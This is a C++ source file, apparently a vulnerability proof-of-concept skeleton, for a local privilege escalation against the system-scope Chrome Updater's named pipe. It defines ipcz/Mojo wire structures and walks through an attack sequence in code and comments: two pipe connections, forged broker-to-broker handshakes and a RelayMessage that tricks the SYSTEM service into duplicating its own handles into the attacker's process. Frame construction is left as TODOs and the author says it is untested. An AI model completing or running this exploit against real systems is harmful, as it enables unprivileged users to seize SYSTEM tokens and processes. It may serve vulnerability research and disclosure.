// Partial / UNTESTED Windows POC skeleton for:
//   "IsolatedConnection broker-to-broker trust + Node::RelayMessage allows AU
//    client of SYSTEM updater to DuplicateHandle arbitrary SYSTEM-owned handles
//    into its own process"
//
// This file documents the on-wire layout and the attack sequence. It compiles
// only on Windows and has NOT been run against a live target (this POC was
// authored on a Linux host with no Windows test machine available). Expect to
// have to adjust struct paddings / array offsets while watching the updater
// under a debugger.
//
// Build (MSVC):   cl /std:c++20 /EHsc poc_win.cc
//
// Run as a non-admin Authenticated User on a machine with a system-scope
// Chrome Updater installed and the updater service running (so the named pipe
// exists).

#ifndef _WIN32
#error "This POC targets Windows only (see README.md)."
#endif

#include <windows.h>
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <vector>

// ---------------------------------------------------------------------------
// Target pipe.
//
// Server name = PRODUCT_FULLNAME_STRING (whitespace stripped) + "System".
//   chrome/updater/ipc/ipc_names_win.cc: GetMojoServerName()
// NamedPlatformChannel prepends "\\.\pipe\mojo." on Windows.
//   mojo/public/cpp/platform/named_platform_channel_win.cc
//
// For Google-branded builds this is typically:
static const wchar_t kPipeName[] = L"\\\\.\\pipe\\mojo.GoogleUpdaterSystem";
// For Chromium-branded test builds adjust to the actual PRODUCT_FULLNAME_STRING.

// ---------------------------------------------------------------------------
// Wire layout — outermost → innermost.
// ---------------------------------------------------------------------------

#pragma pack(push, 1)

// (1) mojo::core::Channel framing on the named pipe.
//     mojo/core/channel.h: struct IpczHeader
struct ChannelIpczHeader {
  uint16_t size;         // = sizeof(ChannelIpczHeader)
  uint16_t num_handles;  // = 0 on Windows (handles are inline in driver-object
                         //   data, not in the Channel layer)
  uint32_t num_bytes;    // = total bytes of this Channel message including
                         //   this header
  // v0 extension (8 bytes) follows in the real struct; when sending you can
  // mirror exactly what the server sent in its first message. When receiving,
  // honour `size` to find the start of the ipcz payload.
  uint8_t v0[8];
};

// (2) ipcz message header.
//     third_party/ipcz/src/ipcz/message.h: struct MessageHeader (24 bytes)
struct IpczMessageHeader {
  uint8_t  size;            // = 24
  uint8_t  version;         // = 0
  uint8_t  message_id;      // 7 = ConnectFromBrokerToBroker
                            // 66 = RelayMessage
                            // 67 = AcceptRelayedMessage
  uint8_t  reserved0[5];
  uint64_t sequence_number; // monotonic per link (start at 0)
  uint32_t driver_object_data_array; // offset of ArrayHeader<DriverObjectData>
                                     // within the message, or 0
  uint32_t reserved1;
};
static_assert(sizeof(IpczMessageHeader) == 24, "");

// (3) Per-message params header.
//     third_party/ipcz/src/ipcz/message.h: struct StructHeader
struct IpczStructHeader {
  uint32_t size;     // bytes of params struct including this header
  uint32_t version;  // = 0 is sufficient (server tolerates v0)
};

// NodeName = 128-bit identifier.
//     third_party/ipcz/src/ipcz/node_name.h
struct NodeName {
  uint64_t high;
  uint64_t low;
};

// (3a) ConnectFromBrokerToBroker v0 params.
//      third_party/ipcz/src/ipcz/node_messages_generator.h, IPCZ_MSG_ID(7)
struct ConnectFromBrokerToBroker_V0 {
  IpczStructHeader header;
  NodeName name;               // attacker-chosen N1 / N2
  uint32_t protocol_version;   // 0
  uint32_t num_initial_portals;// 2 (matches what SYSTEM sends)
  uint32_t buffer;             // DriverObjectData index for the SharedBuffer
  uint32_t padding;            // 0
};

// (3b) RelayMessage v0 params.
//      third_party/ipcz/src/ipcz/node_messages_generator.h, IPCZ_MSG_ID(66)
struct RelayMessage_V0 {
  IpczStructHeader header;
  NodeName destination;        // = N2 (the other connection's NodeName)
  uint32_t data;               // offset of ArrayHeader<uint8_t> (can be empty)
  uint32_t padding;            // 0
  // DriverObjectArrayData:
  uint32_t driver_objects_first_index; // 0
  uint32_t driver_objects_count;       // 1
};

// (4) ipcz array header.
//     third_party/ipcz/src/ipcz/message.h: struct ArrayHeader
struct IpczArrayHeader {
  uint32_t num_bytes;     // total incl. header + 8-byte alignment padding
  uint32_t num_elements;
};

// (5) Per-driver-object descriptor inside the ipcz message.
//     third_party/ipcz/src/ipcz/message.h: struct DriverObjectData
struct IpczDriverObjectData {
  uint32_t driver_data_array;   // offset of ArrayHeader<uint8_t> holding the
                                // serialized mojo-ipcz driver object blob
  uint16_t first_driver_handle; // 0 (unused on Windows — handles are inline)
  uint16_t num_driver_handles;  // 0 (unused on Windows)
};

// (6) mojo-ipcz driver object blob — the payload of (5).
//     mojo/core/ipcz_driver/transport.cc: struct ObjectHeader (Windows layout)
struct DriverObjectHeader {
  uint32_t size;          // = 16
  uint32_t type;          // ObjectBase::Type — kWrappedPlatformHandle
                          //   (see mojo/core/ipcz_driver/object.h for the
                          //   enum ordinal; verify on your tree)
  uint32_t num_handles;   // = 1
  uint8_t  handle_owner;  // 1 = HandleOwner::kRecipient   ← key field
  uint8_t  reserved[3];
};
static_assert(sizeof(DriverObjectHeader) == 16, "");

// Immediately after DriverObjectHeader on Windows: `num_handles` × uint64_t
// raw HANDLE values, then the object-specific body.

// (6a) WrappedPlatformHandle body.
//      mojo/core/ipcz_driver/wrapped_platform_handle.cc
struct WrappedPlatformHandleHeader {
  uint32_t size;  // = 8
  uint32_t type;  // 0 = WrapperType::kTransmissible
};

#pragma pack(pop)

// ---------------------------------------------------------------------------
// Helpers.
// ---------------------------------------------------------------------------

static HANDLE ConnectPipe() {
  for (int i = 0; i < 50; ++i) {
    HANDLE h = CreateFileW(
        kPipeName, GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING,
        SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, nullptr);
    if (h != INVALID_HANDLE_VALUE) {
      DWORD mode = PIPE_READMODE_BYTE;
      SetNamedPipeHandleState(h, &mode, nullptr, nullptr);
      return h;
    }
    if (GetLastError() == ERROR_PIPE_BUSY) {
      WaitNamedPipeW(kPipeName, 200);
      continue;
    }
    Sleep(200);
  }
  return INVALID_HANDLE_VALUE;
}

// Read one Channel-framed message from the pipe into `out`.
static bool ReadChannelMessage(HANDLE pipe, std::vector<uint8_t>* out) {
  // The Channel layer length-prefixes each message with ChannelIpczHeader.
  // Read the fixed prefix to learn num_bytes, then the remainder.
  uint8_t prefix[8];
  DWORD got = 0;
  if (!ReadFile(pipe, prefix, sizeof(prefix), &got, nullptr) || got != 8)
    return false;
  uint16_t hdr_size = *reinterpret_cast<uint16_t*>(prefix + 0);
  uint32_t total    = *reinterpret_cast<uint32_t*>(prefix + 4);
  out->resize(total);
  memcpy(out->data(), prefix, 8);
  size_t want = total - 8;
  while (want) {
    if (!ReadFile(pipe, out->data() + (total - want),
                  static_cast<DWORD>(want), &got, nullptr))
      return false;
    want -= got;
  }
  (void)hdr_size;
  return true;
}

static bool WriteAll(HANDLE pipe, const void* p, size_t n) {
  DWORD wrote = 0;
  return WriteFile(pipe, p, static_cast<DWORD>(n), &wrote, nullptr) &&
         wrote == n;
}

// ---------------------------------------------------------------------------
// Attack flow (skeleton).
// ---------------------------------------------------------------------------
//
// What still needs to be filled in on a Windows host:
//
//  * Exact ChannelIpczHeader v0 layout (mirror what the server sends in its
//    first frame — dump `msg` from ReadChannelMessage).
//  * The ObjectBase::Type ordinal for kSharedBuffer / kWrappedPlatformHandle
//    in your tree (mojo/core/ipcz_driver/object.h).
//  * A real shared-section driver object for the ConnectFromBrokerToBroker
//    `buffer` field — easiest is to CreateFileMapping(INVALID_HANDLE_VALUE,
//    nullptr, PAGE_READWRITE, 0, 0x10000, nullptr), DuplicateHandle it into
//    the *server* (you have its PID from GetNamedPipeServerProcessId), and
//    encode it with handle_owner=kRecipient so the server adopts it.
//    Alternatively: send handle_owner=kSender and let SYSTEM duplicate it
//    *from you* (it has PROCESS_DUP_HANDLE on you).
//  * Byte-exact offsets for the ArrayHeader / DriverObjectData arrays inside
//    the ipcz message — build them incrementally and assert against what the
//    server's own ConnectFromBrokerToBroker frame looks like.
//
// The flow below is structured so each step can be debugged independently.

int wmain() {
  // --- Step 1: open two connections ------------------------------------------
  HANDLE c1 = ConnectPipe();
  HANDLE c2 = ConnectPipe();
  if (c1 == INVALID_HANDLE_VALUE || c2 == INVALID_HANDLE_VALUE) {
    fprintf(stderr,
            "[-] Could not open %ls (is the system-scope updater running?)\n",
            kPipeName);
    return 1;
  }
  fprintf(stderr, "[+] Two pipe clients connected.\n");

  // --- Step 2: read SYSTEM's ConnectFromBrokerToBroker on each pipe ----------
  // SYSTEM sends first (it's the inviter). Parse the ipcz payload to learn its
  // NodeName and to crib the exact framing for our reply.
  std::vector<uint8_t> hello1, hello2;
  if (!ReadChannelMessage(c1, &hello1) || !ReadChannelMessage(c2, &hello2)) {
    fprintf(stderr, "[-] Failed to read broker hello.\n");
    return 1;
  }
  // TODO: locate IpczMessageHeader at offset = ((ChannelIpczHeader*)hello)->size
  //       verify message_id == 7, extract ConnectFromBrokerToBroker_V0::name
  //       (SYSTEM's NodeName) for diagnostics.

  // --- Step 2b: reply with our own ConnectFromBrokerToBroker -----------------
  // Choose N1 / N2. These are the keys SYSTEM will store our links under in
  // Node::connections_, and `N2` is what we put in RelayMessage.destination.
  NodeName N1{0x1111111111111111ull, 0x1111111111111111ull};
  NodeName N2{0x2222222222222222ull, 0x2222222222222222ull};
  // TODO: build the full frame:
  //   ChannelIpczHeader
  //   + IpczMessageHeader{ message_id = 7, driver_object_data_array = <off> }
  //   + ConnectFromBrokerToBroker_V0{ name = N1/N2, protocol_version = 0,
  //                                   num_initial_portals = 2,
  //                                   buffer = 0, padding = 0 }
  //   + ArrayHeader<DriverObjectData>{ num_elements = 1 }
  //       + IpczDriverObjectData{ driver_data_array = <off2> }
  //   + ArrayHeader<uint8_t> @ off2 wrapping:
  //       DriverObjectHeader{ type = kSharedBuffer, num_handles = 1,
  //                           handle_owner = kSender }   // let SYSTEM dup
  //       + uint64_t handle_value = (uint64_t)our_section_handle
  //       + SharedBuffer body (see mojo/core/ipcz_driver/shared_buffer.cc)
  // and WriteAll() it on c1 (with N1) and c2 (with N2).
  (void)N1; (void)N2;
  fprintf(stderr,
          "[!] TODO: send ConnectFromBrokerToBroker replies (see comments).\n");

  // --- Step 3: send RelayMessage on C1 ---------------------------------------
  // The single driver object carries the target HANDLE value `H` from SYSTEM's
  // own table, encoded as kRecipient so DecodeHandle adopts it directly.
  uint64_t target_system_handle = 0x4;  // first real handle slot; iterate later
  // TODO: build the full frame:
  //   ChannelIpczHeader
  //   + IpczMessageHeader{ message_id = 66, sequence_number = 1,
  //                        driver_object_data_array = <off> }
  //   + RelayMessage_V0{ destination = N2, data = <empty array off>,
  //                      driver_objects = {0, 1} }
  //   + ArrayHeader<uint8_t>{ num_elements = 0 }              // `data`
  //   + ArrayHeader<DriverObjectData>{ num_elements = 1 }
  //       + IpczDriverObjectData{ driver_data_array = <off2> }
  //   + ArrayHeader<uint8_t> @ off2 wrapping:
  //       DriverObjectHeader{ size = 16,
  //                           type = kWrappedPlatformHandle,
  //                           num_handles = 1,
  //                           handle_owner = 1 /* kRecipient */ }
  //       + uint64_t handle_value = target_system_handle      // <-- H
  //       + WrappedPlatformHandleHeader{ size = 8, type = 0 }
  // and WriteAll() it on c1.
  (void)target_system_handle;
  fprintf(stderr, "[!] TODO: send RelayMessage on C1 (see comments).\n");

  // --- Step 4: read AcceptRelayedMessage on C2 -------------------------------
  // SYSTEM re-serializes the WrappedPlatformHandle on C2's transport with
  // handle_owner = kRecipient and DuplicateHandle()s H into *our* process
  // (it has PROCESS_DUP_HANDLE on us). The encoded uint64_t in the driver
  // object blob is now a valid HANDLE in this process.
  std::vector<uint8_t> relayed;
  if (ReadChannelMessage(c2, &relayed)) {
    // TODO: parse IpczMessageHeader (message_id == 67), walk to the driver
    //       object blob, read the uint64_t after DriverObjectHeader, and:
    //         HANDLE stolen = (HANDLE)(uintptr_t)value;
    //         // NtQueryObject(stolen, ObjectTypeInformation, ...) to confirm
    //         // it's a Token / Process / Key owned by SYSTEM.
    fprintf(stderr,
            "[+] Got %zu bytes on C2 — parse for the duplicated handle.\n",
            relayed.size());
  }

  CloseHandle(c1);
  CloseHandle(c2);
  return 0;
}
